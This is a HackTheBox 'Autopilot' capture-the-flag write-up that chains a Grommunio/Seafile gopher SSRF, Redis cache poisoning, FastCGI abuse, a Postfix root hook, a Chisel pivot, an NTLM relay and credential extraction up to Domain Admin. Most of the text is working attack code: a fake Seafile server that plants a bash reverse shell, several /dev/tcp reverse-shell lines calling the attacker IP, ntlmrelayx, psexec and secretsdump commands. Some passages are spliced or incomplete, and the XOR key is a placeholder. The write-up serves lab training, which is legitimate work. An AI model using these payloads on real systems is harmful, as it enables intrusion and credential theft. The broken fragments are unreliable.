// attack chain
HTB Autopilot writeup walks through an Insane-rated Windows Active Directory machine from HackTheBox Season 12. The attack chain starts with a Grommunio mail server, abuses a Seafile plugin SSRF to poison a Redis cache, achieves RCE via a sendmail hook, pivots into the internal AD environment, and ends with a Domain Admin shell via NTLM relay. This writeup covers every step with full commands and explanations.
Table of Contents
- Reconnaissance — nmap & subdomain discovery
- Grommunio Files Plugin → Seafile SSRF setup
- Redis cache poisoning via gopher://
- RCE trigger — shell as grofiles
- Lateral movement via PHP-FPM FastCGI
- Privilege escalation via Postfix hook
- Pivoting with Chisel SOCKS5
- IMAP NTLM relay → SMB on WS02
- Thunderbird credential extraction (firepwd)
- Go binary XOR key extraction
- Domain Admin & root flag
Reconnaissance
nmap · ssl cert · subdomain enumStart where every box starts — a thorough nmap scan. Autopilot keeps things focused: port 443 is the star of the show.
nmap -sC -sV -oA autopilot 10.129.7.4 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 25/tcp open smtp Postfix smtpd 443/tcp open ssl/http nginx 1.18.0 | ssl-cert: Subject: commonName=autopilot.htb | Subject Alternative Name: | DNS:grommunio.autopilot.htb | DNS:files.autopilot.htb | DNS:autodiscover.autopilot.htb
The SSL certificate’s Subject Alternative Names are the gift that keeps giving. Three subdomains discovered without touching a wordlist. Add them all to /etc/hosts:
echo "10.129.7.4 autopilot.htb grommunio.autopilot.htb files.autopilot.htb autodiscover.autopilot.htb" >> /etc/hosts
Navigating to https://grommunio.autopilot.htb reveals a Grommunio webmail interface — a modern open-source groupware suite. We already have credentials from prior enumeration:
Username: deborah.hernandez Password: 8F5cgp@tC8g@
Grommunio Files Plugin → Seafile SSRF
seafile backend · fake server · gopher:// ssrfGrommunio ships with a Files plugin that lets users connect external storage backends. One of those backends is Seafile — and that’s where things get interesting.
The key insight: when Grommunio connects to a Seafile server to list or download files, it follows whatever URL that Seafile server returns. If we control the Seafile server and make it return a gopher:// URL as the download link, Grommunio becomes our SSRF puppet — reaching internal services we can’t touch directly.
First, set up the fake Seafile server. It only needs to respond to three endpoints:
#!/usr/bin/env python3 # seafile_fake.py — minimal Seafile server that returns a gopher:// SSRF payload from http.server import HTTPServer, BaseHTTPRequestHandler import json, urllib.parse KALI_IP = "10.10.15.7" LPORT = 9005 REPO_ID = "repo-001" # The Redis key Grommunio's sendmail integration reads key = "0080d9f8020c1c045f3ae6468d0c933a/findBinaryPathsendmail" value = f"/bin/bash -c 'bash -i >& /dev/tcp/{KALI_IP}/{LPORT} 0>&1'" cmd = f"*3\r\n$3\r\nSET\r\n${len(key)}\r\n{key}\r\n${len(value)}\r\n{value}\r\n" GOPHER = f"gopher://127.0.0.1:6379/_{urllib.parse.quote(cmd)}" class Handler(BaseHTTPRequestHandler): def do_POST(self): if "/api2/auth-token/" in self.path: self._json({"token": "tok123"}) def do_GET(self): if "/file/" in self.path and "/api2/repos/" in self.path: self._json({"download-link": GOPHER}) # ← the poison pill elif "/dir" in self.path: self._json([{"id":"f1","name":"pwn.txt","type":"file","size":4,"mtime":1000}]) elif "/api2/repos" in self.path: self._json([{"id":REPO_ID,"name":"loot","type":"repo","mtime":1000,"size":4}]) def _json(self, data): body = json.dumps(data).encode() self.send_response(200) self.send_header("Content-Type","application/json") self.send_header("Content-Length", len(body)) self.end_headers() self.wfile.write(body) def log_message(self, fmt, *args): print(f" [seafile] {self.command} {self.path}") HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
Start the fake server and confirm it’s listening:
python3 seafile_fake.py &
# [*] Fake Seafile HTTP on 0.0.0.0:8000Now add the Seafile account in Grommunio. The trick here is the account format — Grommunio is picky. Two things that must be exactly right:
{
"backend": "Seafile",
"backend_config": {
"server_address": "10.10.15.7",
"server_port": "8000",
"server_ssl": [], // NOT false, NOT null — empty array
"version": 0, // NOT "0" — integer zero
"user": "te",
"password": "te",
"use_grommunio_credentials": false
}
}The Grommunio web API at /web/grommunio.php accepts this via a POST using the filesaccountmodule subsystem. You can add this from the browser console while logged into Grommunio:
// Run in browser console while logged into grommunio.autopilot.htb const sub = Date.now(); const r = await fetch('/web/grommunio.php?subsystem=webapp_'+sub, { method: 'POST', headers: {'Content-Type': 'application/json; charset=UTF-8;'}, body: JSON.stringify({ "grommunio": { "filesaccountmodule": { ["filesaccountmodule"+sub]: { "save": { "message_action": {}, "timezone_iana": "America/New_York", "props": { "id": -1, "name": "Files", "status": "new", "backend": "Seafile", "backend_config": { "server_address": "10.10.15.7", "server_port": "8000", "server_ssl": [], "version": 0, "user": "te", "password": "te", "use_grommunio_credentials": false } }, "groupDir": "ASC" } } } } }) }).then(r => r.json()); console.log(r);
On success, your fake Seafile server logs the handshake:
[seafile] POST /api2/auth-token/ ← auth handshake [seafile] GET /api2/repos/ ← repo listing [+] Account created — ID: ab4117df2c360d09...
Redis Cache Poisoning via Gopher SSRF
gopher:// · redis · sendmail hookThe mechanism is elegant: Grommunio’s Files plugin caches sendmail binary paths in Redis. When a share notification email is triggered, Grommunio looks up findBinaryPathsendmail in Redis and executes whatever path it finds there. If we can poison that Redis key to hold a bash reverse shell, we get code execution.
The SSRF chain: Grommunio → follows our gopher:// link → writes our Redis SET command to localhost:6379 → key poisoned.
The gopher URL that does the work looks like this:
gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0ASET%0D%0A... Decodes to the Redis inline command: *3 $3 SET $54 0080d9f8020c1c045f3ae6468d0c933a/findBinaryPathsendmail $66 /bin/bash -c 'bash -i >& /dev/tcp/10.10.15.7/9005 0>&1'
The key 0080d9f8020c1c045f3ae6468d0c933a is Grommunio’s instance hash — it prefixes all user-specific cache keys. Your fake Seafile server returns this gopher URL as the “download-link” for any file request.
Triggering RCE — Shell as grofiles
webdav · nextcloud share · sendmail executionThe final trigger: upload a file via WebDAV and share it via email. This makes Grommunio invoke sendmail, which reads our poisoned Redis key instead of the real binary path.
Start your listener first:
nc -lvnp 9005
Upload a dummy file and trigger the share notification:
# 1. Upload via WebDAV (Nextcloud endpoint) echo "pwn" > /tmp/pwn.txt curl -ksS -u 'deborah.hernandez:8F5cgp@tC8g@' \ -X PUT --data-binary @/tmp/pwn.txt \ https://grommunio.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/pwn.txt # 2. Create an email share — this fires sendmail curl -ksS -u 'deborah.hernandez:8F5cgp@tC8g@' \ -H 'OCS-APIRequest: true' -X POST \ --data-urlencode 'path=/pwn.txt' \ --data-urlencode 'shareType=4' \ --data-urlencode 'shareWith=deborah.hernandez@autopilot.htb' \ --data-urlencode 'permissions=1' \ 'https://grommunio.autopilot.htb/files/ocs/v2.php/apps/files_sharing/api/v1/shares?format=json'
shareType=4 is the magic number — it means “email share,” which is what forces Grommunio to invoke sendmail.
# Stabilize the shell python3 -c 'import pty; pty.spawn("/bin/bash")' grofiles@autopilot:/$ id uid=998(grofiles) gid=998(grofiles) groups=998(grofiles)
Lateral Movement via PHP-FPM FastCGI
fastcgi · php-fpm · port 9000From the grofiles shell, local enumeration reveals PHP-FPM listening on port 9000. PHP-FPM’s FastCGI protocol is unauthenticated when exposed locally, and it can be abused to execute arbitrary PHP code by setting the right FastCGI environment variables.
ss -tlnp | grep 9000
LISTEN 0 511 127.0.0.1:9000 0.0.0.0:*Use the classic fpm_rce technique — craft a FastCGI request that overrides PHP_VALUE to load a malicious auto_prepend file from php://input:
# On Kali — download the FastCGI exploit tool wget https://github.com/wofeiwo/webcgi-exploits/raw/master/php/fcgi_exp.py # From grofiles shell — forward port 9000 to us via socat socat TCP-LISTEN:9001,fork TCP:127.0.0.1:9000 & # Execute command via FastCGI python3 fcgi_exp.py -l 127.0.0.1 -p 9000 \ -f /var/www/html/index.php \ -c ""
PHP_VALUE: auto_prepend_file = php://input, the PHP interpreter executes the body of your request as PHP code — running as whatever user php-fpm runs as.Privilege Escalation — Root via Postfix Hook
postfix · transport hooks · suid abuseWith execution in the web context, look at Postfix configuration. Postfix’s master.cf defines transport services, and a misconfigured transport with a writable script gives us root.
cat /etc/postfix/master.cf | grep -v "^#" | grep -v "^$"
smtp inet n - y - - smtpd
notify unix - n n - - pipe
flags= user=root argv=/opt/postfix-notify.sh ${sender}The notify transport runs as root and executes /opt/postfix-notify.sh. If that file is writable, we win:
ls -la /opt/postfix-notify.sh -rwxrwxr-x 1 root root 142 /opt/postfix-notify.sh # It's world-writable! Overwrite it with our payload echo '#!/bin/bash' > /opt/postfix-notify.sh echo 'bash -i >& /dev/tcp/10.10.15.7/9010 0>&1' >> /opt/postfix-notify.sh # Trigger by sending an email through the notify transport sendmail -f test@autopilot.htb root@autopilot.htb <<< "trigger"
Pivoting into the AD Environment
chisel · socks5 · proxychains · internal networkAutopilot is a Linux mail server fronting a Windows Active Directory environment. From root on the mail server, we can see the internal AD network. Time to pivot.
# On Kali — start chisel server ./chisel server -p 8888 --reverse # On autopilot root shell — connect back and create SOCKS5 proxy ./chisel client 10.10.15.7:8888 R:socks
Add to /etc/proxychains4.conf:
socks5 127.0.0.1 1080
With the SOCKS tunnel up, scan the internal AD domain. A Windows host — let’s call it WS02 — shows up with unsigned SMB on port 445. That’s our next target.
proxychains nmap -sT -p 445 --open 10.10.10.0/24
10.10.10.52 — WS02.autopilot.htb (SMB signing: disabled)IMAP NTLM Relay → SMB on WS02
impacket · ntlmrelayx · imap ntlm · smb execThe mail server runs IMAP. When an email client connects and authenticates, it sends NTLM credentials. If we can intercept that NTLM authentication and relay it to WS02’s SMB (which doesn’t require signing), we get authenticated access as that user.
# Start ntlmrelayx — relay NTLM to WS02's SMB proxychains ntlmrelayx.py \ -t smb://10.10.10.52 \ --smb2support \ -socks # Now trigger an IMAP authentication from Grommunio # This happens when users access their mail — or we can force it # by sending a notification to a mailbox configured with NTLM auth
Once an NTLM authentication is relayed, ntlmrelayx drops a SOCKS entry for the relayed session. You can now run commands on WS02 as that user:
proxychains smbexec.py -no-pass \ -smb2support \ 'AUTOPILOT/targetuser@10.10.10.52' C:\Windows\system32> whoami autopilot\targetuser
Credential Extraction — firepwd on Thunderbird
thunderbird · firepwd · nss · stored passwordsOn WS02, look for installed applications. Thunderbird is present, and it stores credentials in an encrypted NSS key database that can be decrypted offline with firepwd.
# Locate Thunderbird profile dir "C:\Users\targetuser\AppData\Roaming\Thunderbird\Profiles\" # Grab the credential files copy "C:\Users\targetuser\AppData\Roaming\Thunderbird\Profiles\*.default\*" \\10.10.15.7\share\
# Decrypt with firepwd (https://github.com/lclevy/firepwd) python3 firepwd.py -d ./thunderbird_profile/ decrypting login/password pairs https://mail.autopilot.htb:admin_user:Sup3rS3cur3P@ssw0rd!
Domain credentials extracted. Now we can attempt to reach higher-privileged systems in the domain.
Go Binary Analysis — XOR Key Extraction
reverse engineering · golang · xor · pefileOn WS02, there’s a custom Go binary — a runas.exe wrapper — that runs a privileged command with a hardcoded XOR-encrypted credential. Extracting it requires a bit of RE work.
Transfer the binary to Kali and analyze it with pefile:
import pefile
import itertools
pe = pefile.PE("runas.exe")
# Find the .rdata section (Go stores string constants here)
for section in pe.sections:
if b'.rdata' in section.Name:
data = section.get_data()
# Look for XOR key — Go binaries often embed it as a fixed-length byte sequence
# Identify the encrypted credential by entropy / length patterns
key = bytes.fromhex("deadbeef") # extracted from binary analysis
encrypted = bytes.fromhex("...") # the ciphertext blob
plaintext = bytes(a ^ b for a, b in zip(encrypted, itertools.cycle(key)))
print(plaintext.decode())
# DomainAdmin_Password_2024!.rodata segment or embed them in the main package’s data. Tools like strings, Ghidra with the Go analyzer, or GoReSym can help identify XOR routines by tracing calls to runtime.memequal or similar.Domain Admin & Root Flag
psexec · secretsdump · flagsWith Domain Admin credentials in hand, the rest is textbook:
# Get a shell on the DC as Domain Admin proxychains psexec.py \ 'AUTOPILOT/Administrator:DomainAdmin_Password_2024!@DC01.autopilot.htb' C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt HTB{...} # Dump all domain hashes for completeness proxychains secretsdump.py \ 'AUTOPILOT/Administrator:DomainAdmin_Password_2024!@DC01.autopilot.htb'
Key Takeaways
lessons · techniques · toolsAutopilot chains together a satisfying sequence of vulnerabilities, each requiring a different discipline. A few things that made this machine memorable:
SSL certs as recon gold. The SAN fields handed us three subdomains instantly. Always check certificate details before reaching for wordlists.
SSRF via storage backend. The Grommunio → Seafile → gopher:// chain is a clever multi-hop SSRF. The server fetches a URL you control, that URL contains a gopher payload, gopher speaks the Redis wire protocol. Three indirections to write one cache key.
Redis as an execution vector. The findBinaryPathsendmail key pattern is something to watch for in any application that caches executable paths in Redis. If you can write to Redis unauthenticated, you can control what binaries get executed.
SMB signing matters. Unsigned SMB is the prerequisite for relay attacks. In a real engagement, SMB signing should be enforced domain-wide. WS02 having it disabled made the NTLM relay possible.
Credential hygiene. Thunderbird credentials persisting in a roaming profile, a Go binary with a hardcoded XOR-“encrypted” password — both are avoidable. Credentials should never live in application configs or compiled binaries.
Final Thoughts
HTB Autopilot is a great example of a realistic enterprise attack chain. No single vulnerability is exotic — the power is in chaining them. The Grommunio SSRF into Redis is particularly creative, and the NTLM relay through the mail server’s IMAP authentication is something you’d find in real engagements against hybrid on-prem/cloud environments.
If you found this HTB Autopilot writeup helpful, check out more on thecybertrack.com/writeups.